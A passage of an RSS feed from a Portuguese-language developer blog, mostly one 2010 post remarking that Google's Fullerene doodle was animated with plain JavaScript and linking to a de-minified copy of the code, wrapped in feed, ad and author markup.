        <media:thumbnail url="http://posterous.com/getfile/files.posterous.com/temp-2010-09-04/uDlIkpsBCwyBBgjaoluqmsrlioyxFEAymvHBFGqIzHqnaFwlqztioxEqdIAA/tut_bundle3.png.scaled500.png" height="400" width="500" />
      </media:content>
      <media:content type="image/png" url="http://posterous.com/getfile/files.posterous.com/temp-2010-09-04/GaCcDDFIqtjmJigwwxktxyJsjyaoxvrebkBpkCqrJorJcbrfcBAalbyCspaJ/tut_bundle2.png" height="1024" width="1280">
        <media:thumbnail url="http://posterous.com/getfile/files.posterous.com/temp-2010-09-04/GaCcDDFIqtjmJigwwxktxyJsjyaoxvrebkBpkCqrJorJcbrfcBAalbyCspaJ/tut_bundle2.png.scaled500.png" height="400" width="500" />
      </media:content>
    <feedburner:origLink>http://dev.psicofobia.net/criando-feeds-combinados-com-o-google-reader</feedburner:origLink></item>
    <item>
      <pubDate>Sat, 04 Sep 2010 06:24:00 -0700</pubDate>
      <title>Javascripts malucos e o doodle do Fulereno</title>
      <link>http://feedproxy.google.com/~r/mps-dev/~3/oMz4k2dP3ho/javascripts-malucos-e-o-doodle-do-fulereno</link>
      <guid isPermaLink="false">http://dev.psicofobia.net/javascripts-malucos-e-o-doodle-do-fulereno</guid>
      <description>&lt;p&gt;
	&lt;p&gt;(primeiro post, mais um blog, s&amp;oacute; pra separar o tema que n&amp;atilde;o cabia bem em nenhum dos outros)&lt;/p&gt;
&lt;p&gt;Ent&amp;atilde;o que o grande G soltou um novo doodle na sua p&amp;aacute;gina inicial, primeiro s&amp;oacute; na Nova Zel&amp;acirc;ndia e depois all around. A brincadeira da vez &amp;eacute; uma homenagem aos 25 anos da descoberta do Fulereno, uma mol&amp;eacute;cula de carbono cheia de propriedades especiais e etc. A prop&amp;oacute;sito, se est&amp;aacute; lendo isso e n&amp;atilde;o viu ainda, os amigos do Google Discovery registraram em &lt;a href="http://googlediscovery.com/2010/09/03/google-celebra-os-25-anos-do-fulereno/"&gt;um post por l&amp;aacute;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Agora, o interessante aqui &amp;eacute; que n&amp;atilde;o foi feito em flash, como usualmente seria (nem tem nada de especial de HTML5 viu, mas tudo bem, n&amp;atilde;o est&amp;aacute; errado). Toda a jogada da mol&amp;eacute;cula se movendo &amp;nbsp;junto com o mouse e deixando rastro foi feita com transi&amp;ccedil;&amp;otilde;es de imagens e divs coordenadas de acordo com f&amp;oacute;rmulas matem&amp;aacute;ticas doidas, tudo com um "simples" javascript...&lt;/p&gt;
&lt;p&gt;Se n&amp;atilde;o acredita em mim, segue o c&amp;oacute;digo lindo que &amp;eacute; inserido -- on the fly, dentro de uma tag script adicionada por um javascript -- na p&amp;aacute;gina:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Algu&amp;eacute;m disposto a tentar entender melhor?&lt;/p&gt;
&lt;p&gt;&lt;iframe src="http://pastebin.ca/embed.php/1932679.html"&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;p&gt;ps: esse c&amp;oacute;digo estava completamente ileg&amp;iacute;vel, todo &lt;em&gt;minified&lt;/em&gt;, essa j&amp;aacute; &amp;eacute; uma vers&amp;atilde;o editada.&lt;/p&gt;
	
&lt;/p&gt;

&lt;p&gt;&lt;a href="http://dev.psicofobia.net/javascripts-malucos-e-o-doodle-do-fulereno"&gt;Permalink&lt;/a&gt; 

	| &lt;a href="http://dev.psicofobia.net/javascripts-malucos-e-o-doodle-do-fulereno#comment"&gt;Leave a comment&amp;nbsp;&amp;nbsp;&amp;raquo;&lt;/a&gt;

&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/BA9Vf-sgwAtgpuC6LsKVi9hcCn8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/BA9Vf-sgwAtgpuC6LsKVi9hcCn8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/BA9Vf-sgwAtgpuC6LsKVi9hcCn8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/BA9Vf-sgwAtgpuC6LsKVi9hcCn8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=oMz4k2dP3ho:Q_3lOCVjA6w:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=oMz4k2dP3ho:Q_3lOCVjA6w:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?i=oMz4k2dP3ho:Q_3lOCVjA6w:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=oMz4k2dP3ho:Q_3lOCVjA6w:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=oMz4k2dP3ho:Q_3lOCVjA6w:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?i=oMz4k2dP3ho:Q_3lOCVjA6w:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=oMz4k2dP3ho:Q_3lOCVjA6w:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/mps-dev?a=oMz4k2dP3ho:Q_3lOCVjA6w:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/mps-dev?i=oMz4k2dP3ho:Q_3lOCVjA6w:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/mps-dev/~4/oMz4k2dP3ho" height="1" width="1"/&gt;</description>
      <posterous:author>
        <posterous:userImage>http://files.posterous.com/user_profile_pics/983749/3179636869_77c7405e36_o.png</posterous:userImage>
        <posterous:profileUrl>http://posterous.com/people/5BchiCg5YrUR</posterous:profileUrl>
        <posterous:firstName>Eduardo</posterous:firstName>
        <posterous:lastName>Miranda</posterous:lastName>
        <posterous:nickName>eduardomps</posterous:nickName>
        <posterous:displayName>Eduardo Miranda</posterous:displayName>
      </posterous:author>
    <feedburner:origLink>http://dev.psicofobia.net/javascripts-malucos-e-o-doodle-do-fulereno</feedburner:origLink></item>
  </channel>
</rss>

